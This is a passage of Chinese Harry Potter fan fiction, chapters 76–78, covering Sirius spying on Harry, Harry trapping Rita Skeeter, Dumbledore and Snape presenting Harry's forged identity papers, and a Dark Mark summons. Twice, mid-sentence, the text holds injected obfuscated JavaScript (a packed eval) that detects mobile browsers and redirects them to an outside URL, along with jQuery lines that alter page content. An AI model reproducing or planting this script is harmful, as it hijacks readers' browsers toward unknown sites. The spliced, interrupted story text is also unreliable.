泰迪依依不舍地离开后,哈利的肩膀一下子塌了下来。他没再碰桌上的论文,而是走到窗边,望着远处的湖面,眼里透出一丝藏了许久的疲惫。 “看来他们确实已经知道了。”他低声自语,“詹姆斯一定是告诉了他们。” 小天狼星的胃部一阵紧缩。我该跳出去吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哈利眼角微微一松:“你没被他们发现吧?” “或许我该谢谢你还记得关心我。”西比尖酸刻薄地说,“但我不得不指出,我只是个脆弱的人偶,而不是你的家养小精灵!厚厚的一卷羊皮纸!三十六个名字!我拼了命把名单塞进柜子,就等着他们翻出来!下次如果你想测试我的极限,不如直接用魔杖在我背上刻本《魔法史》算了。” 哈利轻笑着摇摇头:“你做得很好,西比。” “多么感人肺腑的评价。”西比哼了一声,声音里却藏着点得意,“顺便说一句,窗外那鬼鬼祟祟的动静,你是没听见还是装没听见?” 小天狼星的呼吸卡在了喉咙里。他本能地向后退缩,可已经来不及了。 哈利一下子抬起头,手已经摸向魔杖,眼睛扫向窗外。“谁在那儿?”他站起身,走到窗边,手撑着窗框,目光在阳光下锐利地扫视着。 小天狼星赶紧缩回阴影,耳朵紧紧贴在头上。他屏住呼吸,盯着哈利,见他皱着眉眯起眼——那张脸近得能看清额上的疤,墨水和羊皮纸的气息仿佛就在鼻尖。他想喊,想变回去,可最后他还是屏住呼吸,一动不动地等待哈利走开。 就在这节骨眼上,办公室的门被一把推开,一个熟悉的冷嗖嗖的声音传来:“波特,邓布利多要求我们——” 波特?不是佩弗利尔,而是波特?小天狼星僵住了,呼吸都忘了。 斯内普站在门口,身着一贯的黑袍,眼神冷得像冰。他瞥了眼窗边的哈利,嘴角微微一撇,“窗外有什么特别吸引人的风景,佩弗利尔教授?还是说你终于厌倦了批改那些令人绝望的作业?” 哈利没搭理斯内普,目光还盯着窗外,低声说,“西比说窗外有动静。” “不是那些爱到处搞乱的幽灵,就是哪个蠢货学生的烂把戏。”斯内普冷冷地说,大步走到窗边,哈利侧身让开。 小天狼星抓住这眨眼的空隙,爪子一蹬,顺着墙壁滑了下去。粗糙的石面擦出轻微的刮声,他的额头渗出冷汗,双腿几乎发软出胸腔。 斯内普探出身子,半个肩膀都伸出窗外,目光犀利地扫过下方的石墙和阴影。 “西弗勒斯,”小天狼星听见上面传来哈利的声音,“你看到什么了?” 西弗勒斯!小天狼星在心中咆哮。哈利叫鼻涕精什么?西弗勒斯?那个油腻腻的、阴险狡诈的斯内普,居然被哈利称呼教名?这世界到底怎么了? “看来你又招惹了些跑得快的小麻烦,波特。”斯内普声音淡淡地响起,“但愿你刚才没在窗边讨论什么不该说的秘密。” 小天狼星摔到地面,喘得上气不接下气,跌跌撞撞跑向禁林边缘。脚下绊了一下,他咒骂了一声:“该死的鼻涕精!”斯内普那句话还在耳边嗡嗡响。他靠着棵树喘了口气,心里暗自嘀咕:没事,那老蝙蝠没见过他的阿尼马格斯形态。 钻进树林的掩护,他才敢变回人形,靠在一棵粗壮的橡树上,试图平复呼吸。他的脑海里翻来覆去都是刚才的画面——哈利对泰迪的关怀,那个牙尖嘴利的斯内普小人偶,最令他震惊的是,斯内普叫哈利“波特”,而哈利称他为“西弗勒斯”!那种毫不掩饰的熟稔,彻底砸碎了他的认知。 他忽然想起去年哈利生日那天,当他问起斯内普时,哈利竟说“他是我见过的最勇敢的人”。当时他喷出一口黄油啤酒,把这当成天大的笑话。现在回想起来,那或许是个警示,只是他傻乎乎地错过了。而此刻他却只能在窗外,像个局外人般窥视他们的世界,喉咙里像堵了块石头,吞不下也吐不出。 最让他想不通的是,斯内普怎么会知道哈利的真实身份?小天狼星猛地一怔,想起邓布利多今早提到斯内普帮哈利伪造了身份背景。当时他脑子里塞满了记忆碎片,根本没细想。看来邓布利多和斯内普早已知情,他和詹姆斯却连真相的边都摸不到,这种被排除在外的感觉比十二年的阿兹卡班还要难以忍受。 明明斯内普还是那个斯内普——傲慢、尖刻、冷漠,不管是这个世界,还是那被抹去的未来碎片里,都没变过。即使他入了凤凰社,即使哈利曾对他表现出不同寻常的尊重。小天狼星攥紧了拳头。可眼前的事实明摆着,哈利和斯内普的关系比他们想的近得多,近得让他心里又酸又堵。 小天狼星一拳砸在树干上,掌心刺得生疼。这些问题都必须有个说法。他得找詹姆斯谈谈,让他知道斯内普早就掺和进这个秘密,让他明白哈利和那老蝙蝠之间有种他们摸不清的联系。哈利本该和他们才是一家人,可为何这感觉如此遥远? 他抖了抖长袍,朝城堡大门走去。心里的迷雾散了,取而代之的是一股烧起来的愤怒和决心——他是哈利的教父,这位置谁也别想抢走,哪怕只是他一个人的执念。 77. 窥探与布局 哈利放下羽毛笔,揉了揉酸痛的眼睛。五年级的论文堆积如山,占据了办公桌的大半空间,羊皮纸边缘因反复翻阅微微翘起。学生们对黑魔法防御理论理解浅薄得令人担忧,几乎看不出O.W.L.s考试的迫近带来的任何紧迫感。 窗外暮色渐浓,办公室里静得只剩呼吸。哈利拿起茶杯,发现茶早已冷透。他无声地吐出一口气,思绪早已飘离那些拼写错漏和杂乱的理论。 泰迪今天来找他时说的话在他脑海中盘桓不去。 “小天狼星问我过得怎么样,说如果我有麻烦,可以随时去找他。”泰迪困惑的声音还在耳边响着,“他看我的眼神……怪怪的。他还特别提到‘你是他的朋友’,好像在暗示什么。” 哈利当时只是含糊地安抚了泰迪,那番话在他心中激起了波澜,久久不能平息。 小天狼星之前几乎不了解泰迪,为什么突然对他这么关心? 除非他已经从某处得知了什么。 除非他知道了真相。 记忆中的小天狼星浮现眼前——那个眼神无畏的男人,他的教父,他在失去父母后唯一视为家人的存在,曾是他生命中最坚实的依靠。 但这里的小天狼星全然不同。他从未经历阿兹卡班那十二年的折磨与孤寂,也未与哈利建立那份深厚的情谊。如果他知道了哈利的真实身份,会作何反应?会像詹姆斯那样震惊、痛苦,甚至愤怒吗?还是会—— 他没法再想下去。他不敢奢望太多,可泰迪口中的那份关切又让他心底生出一丝希望。或许,这里的小天狼星能理解他,接受他…… 窗边传来一阵细微的刮擦声,打断了哈利的思绪。他的身体本能地绷紧,目光迅速扫向声源。一只黑色甲虫正沿着窗框爬行,乍看是普通的虫子,可它停停走走,每次停顿都恰好在能够清晰观察室内的位置。那闪亮的硬壳和不寻常的移动轨迹立刻引起了哈利的警觉。 哈利瞬间认出了这个不速之客。 丽塔·斯基特。那个臭名昭著的《预言家日报》记者,未注册的阿尼马格斯,曾在他原本的过去里给他带来无尽麻烦的女人。 “有意思。”哈利暗想,装作刚瞧见般挑了挑眉。他不动声色地抽出魔杖,随手一挥,办公桌抽屉悄然滑开。一只玻璃罐飘到他手中——上周从魔药储藏室借来装草药的罐子。 哈利随意起身,伸了个懒腰,仿佛只是活动一下久坐后僵硬的肩膀。他踱向窗边,假装打量窗外,手却猛地一扣,以找球手的敏捷将那甲虫逮进玻璃罐。 “瞧瞧,多么特别的标本。”他平静地说,盖好罐子,感受着里面传来的剧烈震动,“我相信斯内普教授储藏室里应该有些能保住虫子原样的魔药溶液。” 甲虫撞得更凶了,罐子震得咔咔直响,盖子都微微发抖。 “也许可以试试那种永固灵液?”哈利自言自语,手腕一抖,对罐子甩出加固咒,“能保住标本几十年,连翅膀上的纹路都不会褪色……” 玻璃罐里突然爆出一团亮光,哈利装作吃惊往后一退。罐子瞬间四分五裂,几秒后,丽塔·斯基特跌坐在碎片堆里,卷发上挂着几块碎玻璃,一边扯着乱糟糟的金发,一边拍打长袍上的灰。她那副镶着水钻的眼镜歪在鼻梁上,脸上挂着极为勉强的笑容。 “佩弗利尔教授!”她强作镇定,急忙从碎片中站了起来,“多么——啊——意外的相遇!丽塔·斯基特,《预言家日报》特约记者。”她昂起胸,伸出一只涂着鲜红指甲油的手,试图摆出记者的架子,那副镶水钻的眼镜歪得晃眼。 “我知道你是谁,斯基特女士。”哈利平静地说,魔杖攥在手里,目光透着几分审视,完全无视她伸出的手,“你的署名文章相当……引人注目。只是我可不记得有邀请记者进入我的办公室,更不记得霍格沃兹允许访客变虫子到处乱爬。” “哦,这只是个小小的误会。”丽塔手指忙乱地抠着鳄鱼皮手提包,指甲划得吱吱响,眼珠子乱转,像在掂量哈利知道多少,“我正好路过,想找个特别的角度——你知道的,为了写一篇更有深度的报道。” “通过我的窗户?”哈利挑起一边眉毛,“顺便一提,斯基特女士,我挺了解阿尼马格斯。魔法部的阿尼马格斯登记名单上,我可不记得有见过你的名字。” 丽塔脸色一僵,白得发青的脸泛起红晕,但她赶忙挤出笑,“我不知道你在说什么,佩弗利尔教授。我只是——” “请别浪费我们两个的时间。”哈利打断她,声音平静却带刺,“我想知道的是,你是在为乌姆里奇工作,还是为了自己的独家新闻?你偷偷溜进霍格沃兹是想挖掘什么?我的过去?我的资历?还是关于我和邓布利多的‘秘密计划’?” 丽塔眨了眨眼,眼镜后的目光透着算计,“多洛雷斯只是认为公众有权知道真相。大家对你这位突然出现的黑魔法防御术教授非常好奇呢。” “真相。”哈利轻声重复,“告诉我,斯基特女士,当你写那篇关于‘邓布利多军’的文章时,有多少是真相?” 丽塔的眼睛瞪大了,“你怎么知道?那篇文章还没……” 当然是诈你的。哈利在心中冷笑,冷眼瞥着丽塔脸上那一闪而过的慌乱,如同施展了一记完美的摄神取念。 多年傲罗的经历让他早已学会如何从细微的表情变化中窥见真相。丽塔·斯基特这只到处钻缝的臭虫,即使在战后也从未停止过对他的“探索”,那支淬了毒的速记羽毛笔总试图在他的生活中挖掘出更多所谓的“内幕”。数不清的交锋让哈利对她的每一个伎俩、每一种反应都了如指掌。 “你的笔尖总是比事实本身跑得更快,不是吗?”哈利直视着她,话语中的锋芒毫不掩饰,“先有标题,再有故事;先有结论,再找证据。这就是你一贯的作风。” 丽塔脸上的表情变得更加僵硬,涂着鲜红指甲油的手指攥紧了手提包带子。 “你看起来比我想象的要忙。”哈利走向办公桌,魔杖一挥,地上的玻璃碎片自动修复成完整的罐子飞回抽屉,“今天能闯入我的办公室,明天说不定会有更危险的冒险。我建议你做决定时要谨慎。魔法部的阿尼马格斯登记处工作到下午五点,你还有足够的时间赶去——如果你现在就动身的话。” 丽塔·斯基特的脸色在短短几秒内白了又红,红了又白。最终,她挺直了背,强作镇定:“我明白了。不过,佩弗利尔教授,你也应该明白,有些故事迟早会被讲述,只是讲述方式的问题。” “我完全同意。”哈利语气平稳地说,“只是有些讲述者需要考虑,他们自己的故事是否经得起同样严格的审视。” 两人对视片刻,空气中几乎能感受到无声的较量。最终是丽塔先移开了目光。她手指忙乱地拽了拽鳄鱼皮手提包的带子,硬挤出一抹笑,“那么,我就不打扰你的宝贵时间了。希望有机会能进行一次——更加正式的采访。” “如果那一天到来,我会确保提前准备好永固灵液。”哈利轻描淡写地回应。 丽塔的笑容僵在脸上,猛地一扭身,朝门口快步逃去,高跟鞋敲得石板地喀喀乱响。门关上的瞬间,哈利长出一口气,身子斜靠桌边。他望向窗外,夕阳已将黑湖染成浓重的暗红。 这是个危险的信号。如果丽塔盯上了他,就意味着乌姆里奇的行动进入了新阶段。他们需要更加小心。 可眼下,一个更揪心的念头萦绕在他心头——小天狼星是否知道了什么? 哈利抬腕看表,距离与邓布利多约定的会面时间还有二十分钟。他魔杖一挥收拾好桌面,抓起长袍,大步离开办公室。 —————— 滴水石兽在见到哈利时自动跳到一旁,露出螺旋向上的楼梯。他走上台阶,推开微微敞开的校长室门,一眼便看到邓布利多站在堆满银色仪器的书桌旁,斯内普则在一侧,手中捧着一叠看起来有些陈旧的羊皮纸。 “啊,哈利,”邓布利多朝他微微一笑,“来得正好,我们正在讨论一些与你有关的事情。” 哈利走近书桌,目光投向斯内普。 “伪装材料。”斯内普直截了当,将羊皮纸递给哈利,语气冷淡,“你的‘背景故事’。” 哈利接过那叠羊皮纸,快速翻阅。第一页是波兰巫师瓦西里的推荐信,信中详述他在东欧跟随对方学习黑魔法防御与危险生物应对的经历。信纸边缘泛黄,墨水褪色,看上去确实经历了岁月洗礼。 “这个人真存在吗?”哈利好奇地问,“我从没听说过他。” 邓布利多目光中闪过一丝笑意:“确实有。他曾是尼可·勒梅的学生,在东欧魔法界相当有名望,尤其在对抗黑魔法生物方面。”他轻轻摇头,“但瓦西里十年前就选择了隐居生活,一心钻研古老咒语的变种应用。他总是认为名声会干扰真正的学术成就。” 邓布利多语气里透着怀念,“我们在很久以前就是朋友了——” 斯内普打断了他,声音带着一贯的讽刺,“别忘了提醒波特,联系到瓦西里有多么‘容易’。” 邓布利多轻笑道,“啊,可不是。联系瓦西里就像在一窝嗅嗅里找你那枚被吞了的纳特。”他转向哈利,镜片后闪着狡猾的光,“他只通过一种特殊的魔法烟信与外界联系,而且仅在每月满月的凌晨时分。我们真是幸运,乌姆里奇到来后不久就碰上了满月。” “不过,我连续三个夜晚守在办公室等待他的烟信,”邓布利多接着说,手指轻敲桌沿,“满月前夜毫无回应,满月之夜同样如此。到了第三夜,我不得不派福克斯亲自去寻找他——这是最后的手段,因为瓦西里向来讨厌‘不请自来的客人’,即使是凤凰也不例外。” 邓布利多亲切地看向栖木上的凤凰,“不过福克斯总有办法,不是吗?他带回了瓦西里的回信和一箱相当不错的蜂蜜酒作为赔礼——尽管附言警告说酒中可能掺了他新弄的药草。” 哈利忍不住露出微笑:“所以你喝了吗?” “哦,当然,”邓布利多眨眨眼,“不过我确保米勒娃和西弗勒斯先尝了一轮。魔法精神要求我们不放过任何一个实验机会。” “令人印象深刻的味道。”斯内普干巴巴地说,但哈利注意到他的嘴角似乎抽动了一下。 哈利继续翻阅那叠文件。推荐信下面是一份东欧巫师学院的课程记录,记载了“哈利·佩弗利尔”在防御术高级应用课程中的优异成绩;再往下,克拉科夫魔法生物保护区的证明信证实他参与过一次重大封印;甚至还有一张褪色的照片,模糊地显示几个身着长袍的身影站在某个积雪的山坡上。每一份文件都经过精心制作,细节考究,年代痕迹自然,就连墨水的褪色程度都与纸张的年份相符。 “我自己差点都信了。”哈利唇角微扬,视线移向斯内普,语气透着赞赏,“你的才能被浪费在熬魔药上了,西弗勒斯。” 斯内普鼻息间发出一声短促的嗤笑,“如果不是考虑到你那堪比一年级学生的潦草字迹,波特,你大可亲自为自己的‘光辉’过去执笔。不过我担心那样一来,连你自己都认不出这是你的‘历史’。” 哈利诧异地一挑眉,“我可真怀念你这些尖酸刻薄的评论。”他忍不住调侃道,“毕竟你的容忍度近来高得惊人,西弗勒斯。” 这句话直白得令斯内普措手不及。魔药教授别开了脸,黑色长袍随着他突然的动作微微摆动,似乎想掩住那稍纵即逝的局促。 “我只是不想把时间浪费在无谓的争论上。”他漠然地吐出这句话,“眼下显然有更重要的事要处理。” 哈利注视着斯内普转向窗户的侧脸,眉头不由自主地皱了起来。 这段时间,斯内普的行为越来越古怪——他变得不那么尖刻,甚至偶尔透出几分不易察觉的关怀。地窖的魔药架上,总摆着几瓶无梦药剂,标签朝外,显然是为他准备的。哈利从未提及自己的噩梦,斯内普也从不问起,但那些药剂总在固定位置准时出现,分量拿捏得恰到好处。空瓶子渐渐堆满了哈利办公桌的抽屉,他计划着找个合适时机一次性归还,却始终没有找到机会提起这件事。 刚才那句调侃不过是随口一试。斯内普那一贯的刻薄回击反而让哈利松了口气——这才是他熟悉的那个斯内普。然而魔药教授避开目光的速度,那干巴巴回答背后的迟疑,又全不似往日的他——那个从不回避冲突,无论面对谁都能保持尖锐刻薄的魔药大师。 这非常的不斯内普。近来,他似乎在刻意与哈利保持一段微妙的距离——仿佛他察觉了什么,或窥见了什么,令他无法再如从前那般面对哈利。哈利无从断定具体是什么改变了,但他能感受到,一种说不清道不明的东西正在他们之间悄然滋长。 他摇了摇头,决定暂时放下这个谜题,指尖在泛黄的纸张边缘停留片刻,目光落在一封文书上——瓦西里的亲笔推荐信。这种感觉怪异极了,看着一个他从未见过的人为自己担保,一段从未经历过的历史被凭空创造出来。 不知为何,他想起了德思礼家那个逼仄的楼梯间——那些灰尘、蜘蛛网和孤独的夜晚如此真实,几乎刻入骨髓。然而在这个被改变了的时间线上,那段童年记忆竟成了一种奇异的幽灵——它存在于他的灵魂中,却无处寻觅形迹。这份被精心伪造的历史档案,以及那些从未在这个时空发生的童年记忆,都像是一种悬浮在现实边缘的影子,提醒着他自己的分裂身份。 “这些材料看起来确实令人信服,”哈利抬起头,微微皱了皱眉,“但如果魔法部执意要核实这些资料,会不会发现什么破绽?毕竟乌姆里奇看起来铁了心要抓住我的把柄。” 邓布利多展开一卷泛黄的地图,指尖落在喀尔巴阡山脉上,“先不说瓦西里本人几乎不与外界接触,波兰魔法部也不是能轻易踏足的地方。我的老友伊莎贝拉在档案保管司已安排周全。如果乌姆里奇真要追查,只怕会陷进一场跨国文书的泥沼。” 他眼中带着点狡黠,“魔法部的官僚主义有时也能成为我们的盟友。而福吉不会愿意承认自己的调查被波兰魔法部牵着鼻子走。”邓布利多微微一笑,“乌姆里奇再怎么怀疑,也难以突破这层障碍。” 提到乌姆里奇,哈利又不禁想起另一个与她密切合作的“盟友”——丽塔·斯基特。那个记者今天的出现绝非偶然,而是魔法部行动的一部分。 “我今天遇见了丽塔·斯基特。”他转向邓布利多,把刚刚发生的事情简要复述了一遍,“她化成甲虫溜进我办公室,被我抓了个正着。看来乌姆里奇真的开始加大力度了。” “我猜她没有主动透露自己与调查组的联系?”邓布利多问道,语气轻松。 “她承认得不多,但也否认得不彻底。”哈利耸耸肩,“我威胁了她的阿尼马格斯秘密,希望这能让她暂时安分些。说到这个——”他犹豫了一下,瞥了眼斯内普,“我想今天中午在我窗外的也是她——那时候就感觉有人在窗外偷窥。”他意识到斯内普看了他一眼。 邓布利多从桌上拿起一叠报纸,递给哈利:“恐怕斯基特女士的行动比我们料想的更快。下午特刊,刚刚送达。” 哈利接过《预言家日报》,头版两篇文章的标题映入眼帘,正如他在与丽塔的对峙中所预料的—— 《霍格沃兹安全危机:校长私人军队的阴影?》 《来路不明的神秘教授:霍格沃兹聘任制度引发担忧》 尽管早有预感,亲眼看到这些文字仍让哈利胃部一阵不适。第一篇大肆渲染霍格沃兹城堡各处浮现的“D.A.”标记,引用“知情人士”的话,暗示这是“邓布利多军”的缩写——一支邓布利多为对抗魔法部暗中组建的队伍。第二篇则直指哈利,质疑一个“没有任何公开记录”的教授为何能获得霍格沃兹重要教职,字里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156415|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行间暗示邓布利多与“身份可疑的佩弗利尔”之间存在不为人知的联系。 “看来她的触角已经伸得比我想象的更远了。”哈利将报纸搁回桌上,声音中带着一丝寒意,“这解释了为什么她今天会出现在我窗外——显然还缺些素材来充实她的‘杰作’。” 他顿了顿,目光移向窗外,几乎能想象乌姆里奇在走廊尽头踩着步子走路的样子。自从在八卦前哨站这个收银节目中获得“邓布利多军”的消息,她像是嗅到了猎物的秃鹫,搜查的脚步一日比一日急切。 “乌姆里奇越来越肆无忌惮了。泰迪昨天告诉我,她现在开始拦截学生检查所谓的‘禁止物品’。”哈利摇了摇头,“简直成了第二个费尔奇。” 邓布利多捋了捋长须,眉头微皱。“投诉信已塞满我一个抽屉。然而根据教育法令,调查组确实有权进行‘必要’检查。只是这个‘必要’的程度,由乌姆里奇来决定。” “她和戈尔已经收到了我们安排的‘惊喜’。”哈利身子略向前倾,声音压低,“西比告诉我,戈尔在东塔废弃教室发现了那份名单。” 斯内普冷哼一声,双臂交叉在胸前。“这倒解释了为什么那个女人几乎要掀开每一块石板了。” “不过,学生们的反应倒是非常有趣。”邓布利多眼中掠过一抹笑意,他缓步走到窗边,凝视远处的塔楼,“自从第一个‘D.A.’标记被发现后,它们就像中了滋养咒一样在城堡各处蔓延。阿格斯昨天气喘吁吁地闯进来报告,说一天之内就发现了十七处新标记,从厨房走廊到天文塔顶。” 哈利嘴角微扬,想起泰迪和他的朋友们也加入了这场“游戏”,还绘声绘色地描述罗恩和赫敏如何帮他在盥洗室门上刻下标记。这种小小反抗带着少年人特有的叛逆与机智,在乌姆里奇的严苛规则下,成了无声的抗争。 “乌姆里奇自然气得发狂。”斯内普说道,“她命令那两个调查员昼夜日夜,抓住一个‘破坏者’就要严惩不贷。”魔药教授的表情虽然依旧冷漠,但那种微妙的幸灾乐祸却清晰可辨。 邓布利多转过身,“霍格沃兹从来不禁止学生表达自己的想法。如果乌姆里奇决定把全部精力都花在追捕这些幽灵般的标记上,”他语气平缓,意味却深,“那么她就无暇顾及其他更为重要的事情了。” “而且她越是穷追不舍,反而越坐实了丽塔文章的可信度。”哈利补充道,“公众会更容易相信确实存在一个‘邓布利多军’。” 邓布利多颔首,“有时候,最好的掩护并非谎言,而是一个被误解的真相。” 办公室陷入短暂的沉默,只有福克斯偶尔扑闪一下翅膀。哈利的目光在校长办公室里游移片刻,思绪转向那个从踏进门就想问的问题。 “教授,”他咬了咬嘴唇,略微调整了姿势,“泰迪今天告诉我,他遇见了小天狼星。” 邓布利多的表情并未发生变化,但哈利注意到他用手指轻轻扶了扶半月形的眼镜——这是他陷入思考时惯有的小动作。 “他为什么会忽然来霍格沃兹?”哈利试探着问,“是不是……”他停顿了一下,“和我有关?” 邓布利多没有立即回答,反而问道:“你希望从我这里得到什么答案呢,哈利?” 这熟悉的迂回之术让哈利一时语塞。他看向斯内普,发现魔药教授听到小天狼星的名字时先是嘴角抿紧,随即却出人意料地挺直了背,表情变得异常专注,似乎对这个话题也同样感兴趣。 “我只是在想……”哈利的声音低了下来,“小天狼星是不是……也知道了真相。” 邓布利多缓步坐回桌前,双手交叠:“每个人都有权利以自己的方式了解和接受真相,哈利。这不是我能替他人决定的。” 哈利垂下视线,沉默不语。 “另外,”邓布利多微微侧首,语气轻快,“我以为我们早就达成直呼‘阿不思’的共识了。” 哈利这才意识到自己刚才又喊了“教授”。他张了张嘴,一时无言。的确,自从来到这条时间线,以教师身份踏进霍格沃兹,成了邓布利多的同事,他便一直直呼其名。可小哈利出事后——特别是邓布利多在医疗翼告知詹姆斯得知真相的冲击——让他在不知不觉中时常会回到这个称呼。好像面对困境时,那个渴望指引的学生又冒了出来。 “抱歉,阿不思,”哈利挠挠头,露出一个尴尬的笑,“有些习惯比我想象的还难改。” “习惯确实顽固,”邓布利多微笑道,“虽然在这个世界里我从未教过你,但有时我发现自己看你的方式,就像看着一个认识多年的学生。”他眨了眨眼,“或许是因为我太老了,又或许时间本身在和我们开玩笑。” 这种理解让哈利心头一暖。邓布利多的回应已经足够明确了。他没有再追问——有些答案会在合适的时候浮出水面,而现在还有更紧迫的事情。 “说到魔法部,”斯内普冷不丁插话,“福吉已经下达了召开魔法部调查会的命令。” “校董会刚刚送来通知。”邓布利多轻轻点头,“日期定在下周四。福吉要求全员出席——校董会成员、魔法部代表和学校所有高层。” “这就是场正式审讯,只是换了个温和的名字。”哈利若有所思地说。《预言家日报》的文章、乌姆里奇的调查、甚至丽塔的窥探,都是为这场会议铺设的前奏。 “我想他们准备用一粒豆子砸两只猫头鹰。”邓布利多从桌上拿起通知,“会议要讨论两个问题——那些所谓的‘邓布利多军’标记,”他朝哈利眨了眨眼,“还有我们的防御术教授人选。很明显,不是吗?” 哈利会意地点了点头。乌姆里奇的策略很明确,一边借“邓布利多军”的幌子削弱邓布利多的权威,一边也不放弃质疑哈利身份的合法性。两者相互配合,都指向同一个目标——魔法部对霍格沃兹的全面控制。 “你的伪造档案是第一道防线,那些文件只是基础,波特。”斯内普冷声指出,“福吉会逮住任何机会来质疑你。但更关键的是你的表现——如果你在会议上表现得像个在禁林被逮到的一年级学生,他们就会像嗅到血腥味的猎犬一样扑上来。” “西弗勒斯说得对。”邓布利多补充,“你需要展现出一位经验丰富、能力卓越的防御术教授应有的自信和从容。你的课堂口碑是最好的辩护,学生的成绩有目共睹,这正是你的优势所在——你确实是。” 哈利回想起五年级那场纪律听证会,福吉和他的追随者们如何试图将他彻底打倒。讽刺的是,当时他被指控使用守护神咒,如今他正教授高年级学生这个咒语。 “而且别忘了,”斯内普补充道,声音低沉,“你成功挫败了蛇怪袭击,保护了整个礼堂的学生。即使福吉想要抹黑你,也无法否认这一事实。” 哈利惊讶地看了斯内普一眼——为这极为罕见的肯定。魔药教授似乎也意识到了这一点,迅速将视线转向窗外。 “我们手上有足够的材料应对福吉的盘问。”邓布利多缓缓道,“‘邓布利多军’本质上也只是学生们的小小反抗游戏。但福吉和乌姆里奇的真正目标从来不是真相,而是控制。” “所以会议当天,我们不仅要应对指控,还要反击。”哈利思考着,“让校董会明白,乌姆里奇的存在才是对学校真正的威胁。” “校董会的立场也至关重要。卢修斯会站在哪一边还很难说,”邓布利多说,“但校董会中至少有三位成员对乌姆里奇的调查方式极为不满。我们需要做的是展示事实,迎接任何风暴的到来。” 福克斯扑棱着翅膀,从栖木飞到邓布利多肩上,低鸣一声。 哈利点点头。他从来不擅长这种政治角力,可命运似乎总把他推向风暴中心。不过这一次,座位调换了位置,他不再是那个孤立无援的少年。 “那么我们准备好了。”他简单地说。 78. 危机与试探 夜色已深,哈利回到自己的卧室,反手锁上门。他没有立即点亮蜡烛,而是在黑暗中站了片刻,让紧绷的神经稍微放松。会面结束时,邓布利多的话仍在他脑中清晰可闻——“迎接任何风暴的到来”。 哈利走到窗边,凝视禁林暗沉的轮廓,轻轻叹了口气。一切都变得越来越复杂。乌姆里奇的调查、福吉即将到来的质询、丽塔的暗中窥探,还有小天狼星可能已猜到他的真实身份……所有压力正从四面八方向他逼近。 他的思绪不由自主地回到小天狼星身上。眼前的窗玻璃映出自己模糊的轮廓,却在脑海中变成了医疗翼那个令人窒息的夜晚。那时他刚从昏迷中睁开眼睛,第一眼就看见詹姆斯抱着已经没有生气的小哈利。那一刻,詹姆斯抬头看他的眼神——悲痛下掩藏的是一种难言的惊惧,像在看一个活生生的矛盾,一个不该存在的人。 这种目光至今折磨着他。无论如何闭上眼睛,那画面依然清晰:詹姆斯低头亲吻小哈利的额头,再抬眼直视着他,眼中的世界已然崩塌。他从不敢想,若是小天狼星也用这种眼神看他,他该如何承受。 哈利的手指无意识地收紧。从踏入这个既陌生又熟悉的世界起,他便刻意与他们保持距离。一方面是担心自己情感失控,更深层的,则是恐惧被拒绝——被自己最在乎的人彻底拒绝。 这里的小天狼星从未体验过阿兹卡班的侵蚀,没有在夜里惊醒时握紧的拳头,没有在寒冷中蜷缩的黑狗身影。他是意气风发的傲罗,是婚礼上詹姆斯身旁大笑的伴郎,是莉莉怀里小哈利的骄傲教父。他不是那个为了看教子一眼而躲藏在霍格莫德,靠老鼠充饥的逃犯;不是那个即使在逃亡中依然牵挂、守护着他的人。 两个截然不同的人生,同一张面孔。这种现实让哈利心底泛起酸涩。 “你会相信我吗?”他低声问道,声音消散在夜色中,没有人回应。 突然,一阵尖锐的灼痛从左臂传来,犹如烙铁烫在皮肤上。哈利猛地倒吸一口冷气,卷起袖子——黑魔标记正在皮肤上微微蠕动,墨黑的蛇形图案透出诡异的猩红色光泽。几秒后,疼痛褪去,取而代之的是一阵奇异的刺痒感。 标记中央浮现出一行燃烧的文字,停留片刻,足够哈利看清—— “即刻联系马尔福庄园壁炉。主人命令。” 哈利的血液瞬间凝固。 哈利盯着手臂上蠕动的图案,立刻认出了这种紧急召唤——伏地魔最隐秘的控制手段。在他们以往的理解中,黑魔标记不过是召集追随者和彰显身份的工具,显然,伏地魔的野心从未在这些年的销声匿迹中减弱半分。相反,他在暗中不断强化对追随者的控制网络。 去年夏天,他伪装成小克劳奇,与斯内普重返食死徒阵营时才发现了这个可怕的真相。在马尔福庄园的地下室,他亲眼目睹了一场令人毛骨悚然的仪式——伏地魔魔杖尖轻触斯内普的黑魔标记,银色丝线从杖尖溢出,如活物般渗入皮肤,织成复杂纹路。斯内普脸上那一闪而过的惊愕和隐忍的痛楚,比任何言语都更清晰地传递出一个事实——连那些最早的追随者也对这魔法闻所未闻。 从那时起,他们才真正理解黑魔标记背后的复杂魔法。它不仅连接仆人与主人,还在核心圈食死徒之间建立了一道隐秘通道,一种外人无法察觉的紧急联络网络。哈利当初从小克劳奇身上转移标记时,完全没料到它隐藏着这样的秘密——如今那秘密如毒蛇般反噬而来。 哈利握紧左臂,瞪着那行正在消散的字迹。每一次使用这种紧急联络,施咒者都要付出巨大代价——消耗大量魔力,需数日才能恢复。卢修斯今夜唤醒这致命的魔法,动用这种强硬的联系方式,说明事态紧急到了不容推迟的地步。 无视这召唤的后果,哈利心知肚明。在食死徒的世界里,违抗直接指令只有“背叛”这个解释,而背叛只有一种结局。他的伪装身份,他潜伏得来的一切情报,他为阻止伏地魔所做的一切努力,都可能在一瞬间化为乌有,连同他和泰迪的命运一起。 他的大脑飞速转动。在霍格沃兹立即回应是不可能的,作为哈利·佩弗利尔,任何闪失都可能暴露身份。然而忽视召唤同样危险,卢修斯必然会向伏地魔报告“小克劳奇”的异常,甚至可能派人调查他的真实下落。 